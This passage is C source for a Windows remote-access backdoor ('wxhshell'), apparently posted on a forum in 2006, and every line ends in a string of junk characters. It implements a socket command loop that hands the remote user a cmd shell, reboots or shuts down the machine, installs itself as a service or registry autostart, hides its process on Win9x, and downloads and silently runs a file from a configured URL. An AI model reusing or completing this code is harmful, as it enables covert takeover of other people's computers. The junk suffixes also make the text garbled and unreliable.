  case '?': { &GhPvrxI?  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); CnISe^h  
    break; PuL<^aJ  
  } Z=?aEU$7  
  // 安装 S`!-Cal`n  
  case 'i': { -!e7L>w  
    if(Install()) s?rBE.g@}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mr:CuqJ  
    else y_p.Gzy(^}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4J0Rv od_  
    break; LWnR?Qve<  
    } VT%:zf  
  // 卸载 k; ZxY"^  
  case 'r': { 4x;_AN  
    if(Uninstall()) ABh&X+YD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !w39FfU{  
    else p{D4"Qn+P9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?r=jF)C<'  
    break; k*mt4~KLT8  
    } 7zemr>sIh  
  // 显示 wxhshell 所在路径 K`g7$r)U[  
  case 'p': { 3g~'5Ao  
    char svExeFile[MAX_PATH]; _S}A=hK'  
    strcpy(svExeFile,"\n\r"); V  ~@^`Gd  
      strcat(svExeFile,ExeFile); #,d I$gY  
        send(wsh,svExeFile,strlen(svExeFile),0); c;2#,m^  
    break; YW/QC'_iC  
    } he(A3{'  
  // 重启 `=lc<T^  
  case 'b': { "N?+VkZEv  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); u #w29Pm  
    if(Boot(REBOOT)) (kv?33  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _)T5lEFl=  
    else { r|u MovnV  
    closesocket(wsh); FRu]kZv2  
    ExitThread(0); 'o_:^'c  
    } p5r]J+1  
    break; 06q(aI^Ch@  
    } -G7TEq)  
  // 关机 s$D ^>0  
  case 'd': { 7*5Z  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); [* ?Awf`   
    if(Boot(SHUTDOWN)) h:Gu`+D>W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %a+mk E  
    else { G+UMBn  
    closesocket(wsh); \R36w^c3  
    ExitThread(0); eqw0]U\pv  
    } a`[uNgDO  
    break; a2'^8;U*_  
    } L|P5=/d  
  // 获取shell ^. dsW0"0  
  case 's': { &|3 $!S  
    CmdShell(wsh); uN([*'0Cg  
    closesocket(wsh); ZOCDA2e(j  
    ExitThread(0); }XO K,Hw  
    break; 0Z[oKXm1p  
  } ]vWKR."4  
  // 退出 VXIP0p@  
  case 'x': { z|EEVNFd&  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Sz- J y:j  
    CloseIt(wsh); p2Zo  
    break; 7Mb# O_eh  
    } ojyIQk+  
  // 离开 S"wR%\NIp  
  case 'q': { 7(5xL T$  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 5[0 O'%$  
    closesocket(wsh); y{dTp  
    WSACleanup(); .ZvM^GJb  
    exit(1); ![]`` g2  
    break; i;LXu%3\  
        } z9FfU  
  } g35DV6  
  } Tq]Sn]CSP  
=jB08A  
  // 提示信息 [<DZ*|+  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); KD`IX-r{s  
} A C>`'Gx  
  } 3;S, 3  
[0"'T[ok  
  return; Llr>9(|  
} +qh[N@F  
Ut2y;2)a  
// shell模块句柄 H,Z;=N_  
int CmdShell(SOCKET sock) /"eey(X  
{ Jn{OWw2  
STARTUPINFO si; .C8PitS  
ZeroMemory(&si,sizeof(si)); O8B\{T1  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &f ^,la  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock;  =-IbS}3  
PROCESS_INFORMATION ProcessInfo; tjupJ*Rt  
char cmdline[]="cmd"; C:PMewn  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); b0lq\9  
  return 0; $2W%2rZ  
} (p2K36,9m  
UK<Nj<-'t  
// 自身启动模式 zIh ['^3.n  
int StartFromService(void) T6 '`l?H`;  
{ bbrXgQ`s+w  
typedef struct c-B cA  
{ 9 FB19  
  DWORD ExitStatus; =EHUR'  
  DWORD PebBaseAddress; u(fm@+$^  
  DWORD AffinityMask; G1vNt7  
  DWORD BasePriority; KXx32 b,~  
  ULONG UniqueProcessId; j'A_'g'^  
  ULONG InheritedFromUniqueProcessId; Y;?{|  
}   PROCESS_BASIC_INFORMATION; _lamn }(x0  
/Mvf8v  
PROCNTQSIP NtQueryInformationProcess; !\7!3$w'8,  
ogyTO|V=  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ;  Vh_P/C+  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; z6*X%6,8  
N@t|7~  
  HANDLE             hProcess; FoN|i"*l  
  PROCESS_BASIC_INFORMATION pbi; ;lHr =e7  
 R}O_[  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); $<}$DH_Y  
  if(NULL == hInst ) return 0; tfj:@Z5&$C  
P-?0zF/T$  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 8fl`r~bqZ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); wne,e's}   
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); LDPUD'  
`aciXlqIF  
  if (!NtQueryInformationProcess) return 0; Lm%:K]X  
'<"s \,  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); G3Z)Z) N  
  if(!hProcess) return 0; %J+E/  
KrQ1GepJ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; )h7<?@wv&  
vSEuk}pk  
  CloseHandle(hProcess); &L=suDe  
As'=tIro  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); YNQY4\(  
if(hProcess==NULL) return 0; <0Xf9a8>  
\W~ N  
HMODULE hMod; =vX/{C  
char procName[255]; gEy?s8_,  
unsigned long cbNeeded; Zy`m!]G]80  
h2G$@8t}I  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Q+[n91ey**  
:tV*7S=)  
  CloseHandle(hProcess); 4K\G16'$v  
8Vr%n2M  
if(strstr(procName,"services")) return 1; // 以服务启动 AE[b},-[  
JRB9rSN^  
  return 0; // 注册表启动 fdFo#P  
} `sn^ysp  
4h|c<-`>t  
// 主模块 pR=@S>!|  
int StartWxhshell(LPSTR lpCmdLine) Z?h~{Mg  
{ R!}H;[c  
  SOCKET wsl; 6^]+[q}3  
BOOL val=TRUE; !|^|,"A)  
  int port=0; b3=rG(0f  
  struct sockaddr_in door; 8A##\j )  
vS;RJg=  
  if(wscfg.ws_autoins) Install(); %)1y AdG 8  
CsGx@\jN  
port=atoi(lpCmdLine); >;e~WF>+K  
,E S0NA  
if(port<=0) port=wscfg.ws_port; C5o#i*|  
>qnko9V  
  WSADATA data; Va"0>KX  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; <^#,_o,!  
;U/&I3dzV  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ag [ZW  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); */`ki;\A  
  door.sin_family = AF_INET; t}r ' k/[  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 01t1Z}!y  
  door.sin_port = htons(port); ^aItoJq  
0"<H;7K#W  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { V?6a 8lJ  
closesocket(wsl); ZMQ Zs~;~d  
return 1; ,Vc6Gwm  
} wr$("A(  
6m}Ev95  
  if(listen(wsl,2) == INVALID_SOCKET) { rV` #[d  
closesocket(wsl); DX#Nf""Pw  
return 1; C0T;![/4A  
} (KjoSN( K  
  Wxhshell(wsl); +}Dw3;W}m  
  WSACleanup(); \ 2M_\Q`NY  
|jGf<Bf5  
return 0; IaSR;/  
<FV1Wz  
} j'Fpjt"&=  
<sb~ ^B  
// 以NT服务方式启动 }bb;~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) {'7B6  
{ - YEZ]:"  
DWORD   status = 0; /6)<}#  
  DWORD   specificError = 0xfffffff; n@<YI  
B-*+r`@Bd  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 9}rS(/@ }  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 5TH~.^`Fi  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; P78g /p T  
  serviceStatus.dwWin32ExitCode     = 0; @a! #G  
  serviceStatus.dwServiceSpecificExitCode = 0; Dj"F\j 1  
  serviceStatus.dwCheckPoint       = 0; Wf+cDpK  
  serviceStatus.dwWaitHint       = 0; `KZm0d{H  
5'OrHk;u  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); G30-^Tr   
  if (hServiceStatusHandle==0) return; 8I=2lK  
Ouk ^O}W6  
status = GetLastError(); Vr3Zu{&2  
  if (status!=NO_ERROR) KjD/o?JUr  
{ x[ SDl(<@;  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 7`*h2 mgY  
    serviceStatus.dwCheckPoint       = 0; ROH|PKb7  
    serviceStatus.dwWaitHint       = 0; =Qy<GeY  
    serviceStatus.dwWin32ExitCode     = status; \j$&DCv   
    serviceStatus.dwServiceSpecificExitCode = specificError; q`Go`v  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); $o+j El>  
    return; T^zXt?  
  } S\CCrje  
?qb}?&1  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; aC]$k'71  
  serviceStatus.dwCheckPoint       = 0; /2&c$9=1  
  serviceStatus.dwWaitHint       = 0; LQ@"Xe]5  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); AP3a;4Z#  
} tHU2/V:R  
y6g&Y.:o  
// 处理NT服务事件,比如:启动、停止 cn3#R.G~  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ^ gdaa>L  
{ ) ;EBz  
switch(fdwControl) 'NWfBJm  
{ &h}#HS>l  
case SERVICE_CONTROL_STOP: iDpSj!x/_  
  serviceStatus.dwWin32ExitCode = 0; _P!m%34|  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; bL0yuAwF2  
  serviceStatus.dwCheckPoint   = 0; xVw9v6@`h  
  serviceStatus.dwWaitHint     = 0; 2R[:]-b  
  { sU=H&D99  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); K%t*8 4j  
  } Kew@&j~  
  return; j`EXlc~  
case SERVICE_CONTROL_PAUSE: ))qy;Q,  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; x`mG<Yt  
  break; oh4E7yN  
case SERVICE_CONTROL_CONTINUE: vx{}}/B]J  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; })'B<vq  
  break; ,V7nzhA2  
case SERVICE_CONTROL_INTERROGATE: M`0V~P`^  
  break; S;Fi?M  
}; {B~QQMEow  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9=s<Ld  
} ko!)s  
kXViWOXU^  
// 标准应用程序主函数 W~)}xy  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 21n?=[  
{ v_yw@  
t$`r4Lb9/  
// 获取操作系统版本 `~cqAs}6]Q  
OsIsNt=GetOsVer(); ___~D dq  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Mc)}\{J  
aEB_#1  
  // 从命令行安装 <;lkUU(WT2  
  if(strpbrk(lpCmdLine,"iI")) Install(); b]e"1Y)D-  
&1Ok`_plO  
  // 下载执行文件 )j6~Wy@4  
if(wscfg.ws_downexe) { ]>!K3kB  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) }H53~@WP>  
  WinExec(wscfg.ws_filenam,SW_HIDE); Lw1Yvtn  
} %mW{n8W3{  
59LG{R2  
if(!OsIsNt) { Usvl}{L[  
// 如果时win9x,隐藏进程并且设置为注册表启动 d z|or9&  
HideProc();  -uS!\  
StartWxhshell(lpCmdLine); EAUEQk?9  
} YqscZ(L:y  
else `Gs9Xmc|  
  if(StartFromService()) ?4YGT  
  // 以服务方式启动 a,,exi  
  StartServiceCtrlDispatcher(DispatchTable); H8=N@l  
else IW5,7.  
  // 普通方式启动 yWmJ~/*lG  
  StartWxhshell(lpCmdLine); e[1hz_v  
t5Sy V:fP  
return 0; /'SNw?&  
}
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只看该作者 1 发表于: 2006-10-10
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